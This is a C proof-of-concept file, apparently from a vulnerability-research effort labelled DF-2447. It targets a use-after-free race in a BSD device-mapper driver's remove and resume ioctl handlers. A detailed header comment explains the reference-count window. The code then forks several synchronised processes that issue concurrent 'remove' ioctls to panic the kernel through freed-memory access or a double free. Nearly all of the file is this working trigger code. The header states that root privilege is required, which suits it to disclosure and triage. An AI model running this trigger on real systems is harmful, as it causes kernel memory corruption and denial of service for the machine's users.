DF-2447 / dm_race_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 | /* * DF-2447 PoC -- dm_dev_remove_ioctl / dm_dev_resume_ioctl use-after-free. * * Bug: in sys/dev/disk/dm/dm_ioctl.c: * * dm_dev_remove_ioctl() dm_dev_resume_ioctl() * --------------------- --------------------- * 349: dmv = dm_dev_lookup(...) 501: dmv = dm_dev_lookup(...) * ^^ ref_cnt++ (busy) ^^ ref_cnt++ (busy) * 354: is_open = dmv->is_open; 505-516: operate on dmv * 356: dm_dev_unbusy(dmv); <-- DROP 518: dm_dev_unbusy(dmv); <-- DROP * 361: return dm_dev_remove(dmv); 521: dm_table_destroy(&dmv->...); * ^^ dmv used AFTER ref drop ^^ dmv used AFTER ref drop * * dm_dev_unbusy() (dm_dev.c:398) decrements ref_cnt and, when it hits 0, * cv_broadcast()s. dm_dev_remove() (dm_dev.c:305) -> disable_dev() removes * the device from the global list, waits for ref_cnt==0, then dm_dev_destroy() * -> dm_dev_free() -> kfree(dmv, M_DM). * * The window: between dm_dev_unbusy(dmv) and the subsequent dm_dev_remove(dmv) * (or dm_table_destroy(&dmv->...)) the caller holds NO reference. A concurrent * remover which had stacked its lookup on top (ref_cnt 1->2, then 2->1->0) * races through dm_dev_remove -> disable_dev (ref already 0) -> dm_dev_destroy * -> kfree(dmv). The first caller then calls dm_dev_remove(dmv) on FREED * memory: disable_dev() does TAILQ_REMOVE(&dm_dev_list, dmv, ...) reading * dmv->next_devlist (slab-poisoned 0xdeadc0de under INVARIANTS) and * lockmgr(&dmv->dev_mtx,...) on a freed lock -> use-after-free / double-free. * * This PoC drives the remove-vs-remove race: it repeatedly creates a dm device * and fires N concurrent "remove" ioctls at it through a pipe barrier so the * lookups stack. Hammer it; under INVARIANTS the UAF panics (slab/objcache * freed-object assertion, lockmgr-on-freed, or double-free). * * The resume path (line 518->521) has the identical drop-then-deref window; * the remove path is the cleaner trigger so this PoC focuses on it. * * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator * (device-mapper.c:181) and the dm module must be kldload-ed by root. The * whole dm ioctl surface is therefore root/operator-only. This is a * root->kernel memory-corruption / DoS bug; there is NO unprivileged path * (maxx uid 1001 not in wheel cannot open the control dev or kldload), so * uid0 escalation is blocked by privilege -- a VALID hard blocker (root-> * kernel is game-over by definition). See VERDICT.md. * * Build: cc -o dm_race_uaf dm_race_uaf.c -lprop * Run: ./dm_race_uaf (as root, after `kldload dm`) * ./dm_race_uaf 8 4000 (racers=8, iterations=4000) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2447racer" static int g_ctlfd = -1; static int g_iters = 4000; /* * Build a libprop dictionary for a dm ioctl command. dm_check_version() * requires version major==4, minor<=16. */ static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); if (dict == NULL) { fprintf(stderr, "[!] prop_dictionary_create failed\n"); exit(1); } ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* major */ prop_array_add_uint32(ver, 0); /* minor <= 16 */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_cmd(const char *command) { prop_dictionary_t dict; int rv; dict = new_dm_dict(command); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); prop_object_release(dict); return rv; } /* * Racer child: wait on the barrier (read 1 byte), then fire a single "remove" * ioctl. The barrier makes all racers issue remove at the same instant so * their dm_dev_lookup() calls stack (ref_cnt 0->1->2...) before any * dm_dev_unbusy() runs -- which is exactly the precondition for the UAF. */ static void racer(int barrier_fd) { char b; int rv; /* block until parent says GO for this iteration */ if (read(barrier_fd, &b, 1) != 1) _exit(0); rv = do_cmd("remove"); (void)rv; /* ignore: 0 = we won, ENOENT = someone else removed first */ _exit(0); } int main(int argc, char **argv) { int n_racers = 6; int iter, r, rv; int status; if (argc >= 2) n_racers = atoi(argv[1]); if (argc >= 3) g_iters = atoi(argv[2]); if (n_racers < 2) n_racers = 2; g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2447 dm_dev_remove_ioctl UAF racer\n"); printf("[*] racers=%d iterations=%d dev=%s\n", n_racers, g_iters, DEV_NAME); printf("[*] hammering remove-vs-remove race; expect INVARIANTS panic /\n"); printf(" slab freed-object deref / double-free / lockmgr-on-freed\n"); fflush(stdout); for (iter = 0; iter < g_iters; iter++) { /* * Make sure no leftover device from a previous iteration; ignore * ENOENT. Then create a fresh device for the racers to fight over. */ rv = do_cmd("remove"); (void)rv; rv = do_cmd("create"); if (rv != 0 && rv != EEXIST) { /* create failed for an unexpected reason -- report & skip */ if ((iter % 500) == 0) fprintf(stderr, "[!] iter %d create rv=%d (%s)\n", iter, rv, strerror(rv)); continue; } /* * Spawn n_racers, each blocked on a pipe barrier. Then write one GO * byte per racer so they all fire "remove" simultaneously. */ int pipes[64][2]; pid_t pids[64]; if (n_racers > 64) n_racers = 64; for (r = 0; r < n_racers; r++) { if (pipe(pipes[r]) < 0) { pids[r] = -1; continue; } pids[r] = fork(); if (pids[r] == 0) { /* child: close write end, wait for GO, then race */ close(pipes[r][1]); racer(pipes[r][0]); /* not reached */ } close(pipes[r][0]); /* parent keeps write end */ } /* fire the barrier -- all racers issue remove concurrently */ for (r = 0; r < n_racers; r++) { if (pids[r] > 0) { char go = 'G'; write(pipes[r][1], &go, 1); close(pipes[r][1]); } } /* reap */ for (r = 0; r < n_racers; r++) { if (pids[r] > 0) waitpid(pids[r], &status, 0); } if ((iter % 500) == 0) { printf("[*] iter %d/%d survived so far\n", iter, g_iters); fflush(stdout); } } do_cmd("remove"); /* cleanup */ close(g_ctlfd); printf("[!] exhausted %d iterations without a panic -- race not hit this run\n", g_iters); return 0; } |